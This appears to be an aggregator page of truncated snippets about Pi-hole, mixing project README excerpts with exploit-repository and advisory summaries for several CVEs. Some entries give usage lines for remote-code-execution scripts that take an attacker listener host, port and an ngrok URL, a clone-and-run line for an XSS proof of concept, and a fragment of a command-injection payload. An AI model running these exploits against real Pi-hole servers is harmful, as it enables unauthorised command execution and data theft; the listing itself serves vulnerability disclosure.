uBlockOrigin-HUGE-AI-Blocklist

uBlockOrigin & uBlacklist Huge AI Blocklist A huge blocklist of manually curated sites 1000+ that contain AI generated content, for the purposes of cleaning image search engines Google Search, DuckDuckGo, and Bing with uBlock Origin or uBlacklist. Also works on mobile iOS, iPadOS, Android via...

pi-hole

Network-wide ad blocking via your own Linux hardware The Pi-hole® is a DNS sinkhole that protects your devices from unwanted content without installing any client-side software. Easy-to-install : our dialogs walk you through the simple installation process in less than ten minutes Resolute :...

CVE-2024-34361-Pi-Hole-SSRF-to-RCE

CVE-2024-34361 Pi-hole リモートコード実行（SSRFからRCEへ） 説明 このリポジトリには、CVE-2024-34361のエクスプロイトが含まれています。これは、Pi-hole（ネットワークレベルで広告やトラッキングドメインをブロックするために広く使用されているDNSシンクホール）で発見された重大な脆弱性（CVSS 8.6）です。...

pi-hole

通过您自己的 Linux 硬件实现网络范围广告屏蔽 Pi-hole® 是一个 DNS 黑洞，可在无需安装任何客户端软件的情况下保护您的设备免受不需要内容的侵扰。 易于安装 ：我们的对话框引导您在十分钟内完成简单安装过程 坚决 ：内容在 非浏览器位置 被屏蔽，例如广告泛滥的移动应用和智能电视 响应迅速 ：通过缓存 DNS 查询，无缝提升日常浏览速度体验 轻量级 ：在 最低硬件和软件要求 下流畅运行 健壮 ：经过质量保证的命令行界面，确保互操作性 洞察力强 ：美观且响应式的 Web 界面仪表板，用于查看和控制您的 Pi-hole 多才多艺 ：可选作 DHCP 服务器，确保 所有 设备自动受到...

web

Network-wide ad blocking via your own Linux hardware Pi-hole website | Documentation | Discourse Forum | Donate Pi-hole Web Interface Pi-hole®'s Web interface based off of AdminLTE provides a central location to manage your Pi-hole and review the statistics generated by FTLDNS™. Easy-to-interpret...

web

通过您自己的 Linux 硬件实现全网广告拦截 Pi-hole 网站 | 文档 | Discourse 论坛 | 捐赠 Pi-hole Web 界面 Pi-hole® 的 Web 界面（基于 AdminLTE）提供了一个集中位置，用于管理您的 Pi-hole 并查看由 FTLDNS™ 生成的统计信息。 易于解读 ：简洁的图表和美观的颜色让 Pi-hole 的统计信息更容易理解 响应式布局 ：在台式机、平板电脑和移动设备上都能出色显示 实用 ：通过我们的设置来控制与配置您的 Pi-hole 洞察深入 ：使用查询日志（包括长期统计数据）深入了解您网络的活动情况 安装 安装 Pi-hole...

CVE-2024-28247-Pi-hole-Arbitrary-File-Read

CVE-2024-28247 Pi-hole 任意文件读取 描述 本仓库包含针对 CVE-2024-28247 的漏洞利用代码，该漏洞是 Pi-hole 中一个高危漏洞（CVSS 7.6）。Pi-hole 是一种 DNS 沉洞（Sinkhole），广泛用于在网络层面拦截广告和跟踪域名。 该漏洞源于通过 "file://" 处理器访问文件路径时处理不当，允许远程攻击者读取系统上的任意文件。 利用此漏洞，攻击者可控制要读取文件的路径，从而以 root 权限读取系统上的任意文件。 此类安全漏洞不仅破坏了系统的数据机密性，还通过允许未授权访问敏感信息而损害其完整性。 受影响版本： 影响...

CVE-2019-13051

Pi-Hole /tmp/pocproof.txt"@example.com 10 分钟内，一个由 root 拥有、内容为“test”的文件将以 root 权限在“/tmp/pocproof.txt”中创建。 为了执行任何更有意义的攻击，还需要绕过空格的限制（空格不是有效的电子邮件字符，会被 FILTERVALIDATEEMAIL 函数捕获）。为此，利用了 Linux 内部变量 $IFS（在大多数 Unix 操作系统中默认为空格）。 PoC： 注意：这可以使用 POSIX shell 语法（即 &&、|| ...）通过单行命令实现自动化。 1...

Pi-hole Reflected XSS in 404-Error Page

Pi-hole Admin Interface = 6.2.1 contains a reflected XSS vulnerability on the 404 error page. The URL path is reflected unsanitized into the class attribute of the body tag, allowing attribute injection via a crafted URL to execute arbitrary JavaScript in victim browsers. id: CVE-2025-53533 info:...

CVE-2020-8816

CVE-2020-8816 Pi-hole 远程代码执行（需要认证）版本 = 4.3.2 用法 python3 CVE-2020-8816.py -u http://10.10.10.10 -i 10.10.14.172 -p 1337 -pass admin 示例 更多信息 https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/...

CVE-2020-8816

CVE 2020-8816 : Pi-hole（版本 = 4.3.2）受远程代码执行漏洞影响。经过 Web 门户认证的用户可以以运行该服务的本地用户的权限，在底层服务器上执行任意命令。 示例 : go run CVE-2020-8816.go -host $LHOST -p $LPORT -pass admin -u http://4c9a7a45fa37.ngrok.io/admin/ 或下载二进制文件 CVE-2020-8816 : ./CVE-2020-8816 -host $LHOST -p $LPORT -pass admin -u...

CVE-2026-35517

CVE-2026-35517 - Pi-hole FTLDNS 通过换行符注入实现远程代码执行 摘要 Pi-hole 的 FTLDNS 引擎（6.0 至 6.5 版本）中存在一个远程代码执行 漏洞，允许已认证的攻击者通过向 dns.upstreams API 参数中嵌入换行符 （\n）来注入任意的 dnsmasq 配置指令。由于 dnsmasq 支持可执行 shell 命令的指令，这种换行符注入可直接转化为在主机系统上执行任意命令 。 这不仅仅是一个单一漏洞，而是一类影响五个不同配置参数 的注入问题，全部已在 FTL v6.6 中一并修复。 目录 快速概览 什么是 Pi-hole...

Pi-hole-XSS-CVE-2025-53533

Pi-hole 跨站脚本（XSS）漏洞 CVE-2025-53533 利用程序（PoC） 针对 Pi-hole Web 界面（v6.2.1）中未认证反射型 XSS 漏洞的概念验证利用程序。该漏洞已在 v6.3 版本中修复。 快速开始 root@kitploit: git clone https://github.com/moezbouzayani9/Pi-hole-XSS-CVE-2025-53533.git cd Pi-hole-XSS-CVE-2025-53533 python3 CVE-2025-53533.py 祝您道德黑客之旅愉快！ ⚠️ 法律声明...

CVE-2020-8816

CVE-2020-8816 CVE-2020-8816を悪用するPythonスクリプトです。Pi-holeのリモートコード実行の脆弱性を利用します。 このスクリプトはFrançois Renaud-Philippon氏が発見した手法を用いて、Webインターフェースがバージョン4.3.3未満のPi-hole上でリモートコード実行を実現します。このエクスプロイトには、www-dataユーザーのパスが/opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binである必要があります。 root@kitploit:...

CVE-2026-50130

Pi-hole is a DNS sinkhole that protects devices from unwanted content without installing any client-side software. From 6.0 to 6.4.2, a user with code execution as the unprivileged pihole user can escalate to root by replacing /etc/pihole/logrotate. The replacement is laundered to root:root...

CVE-2026-50130

Pi-hole is a DNS sinkhole that protects devices from unwanted content without installing any client-side software. From 6.0 to 6.4.2, a user with code execution as the unprivileged pihole user can escalate to root by replacing /etc/pihole/logrotate. The replacement is laundered to root:root...

CVE-2026-50130 Pi-hole: Local privilege escalation from `pihole` user to root via `/etc/pihole/logrotate`

Pi-hole is a DNS sinkhole that protects devices from unwanted content without installing any client-side software. From 6.0 to 6.4.2, a user with code execution as the unprivileged pihole user can escalate to root by replacing /etc/pihole/logrotate. The replacement is laundered to root:root...

CVE-2026-50130 Pi-hole: Local privilege escalation from `pihole` user to root via `/etc/pihole/logrotate`

Pi-hole is a DNS sinkhole that protects devices from unwanted content without installing any client-side software. From 6.0 to 6.4.2, a user with code execution as the unprivileged pihole user can escalate to root by replacing /etc/pihole/logrotate. The replacement is laundered to root:root...

CVE-2026-44693

Pi-hole FTL is the core engine of the Pi-hole network-level advertisement and tracker blocker. Prior to version 6.6.1, Pi-hole FTL contains a race condition vulnerability in the HTTP session management subsystem, introduced with the v6.0 rewrite of the embedded CivetWeb-based web server. This iss...

CVE-2026-44693 Pi-hole FTL: Unauthenticated Session Hijacking via Race Condition on Global Session Buffer

Pi-hole FTL is the core engine of the Pi-hole network-level advertisement and tracker blocker. Prior to version 6.6.1, Pi-hole FTL contains a race condition vulnerability in the HTTP session management subsystem, introduced with the v6.0 rewrite of the embedded CivetWeb-based web server. This iss...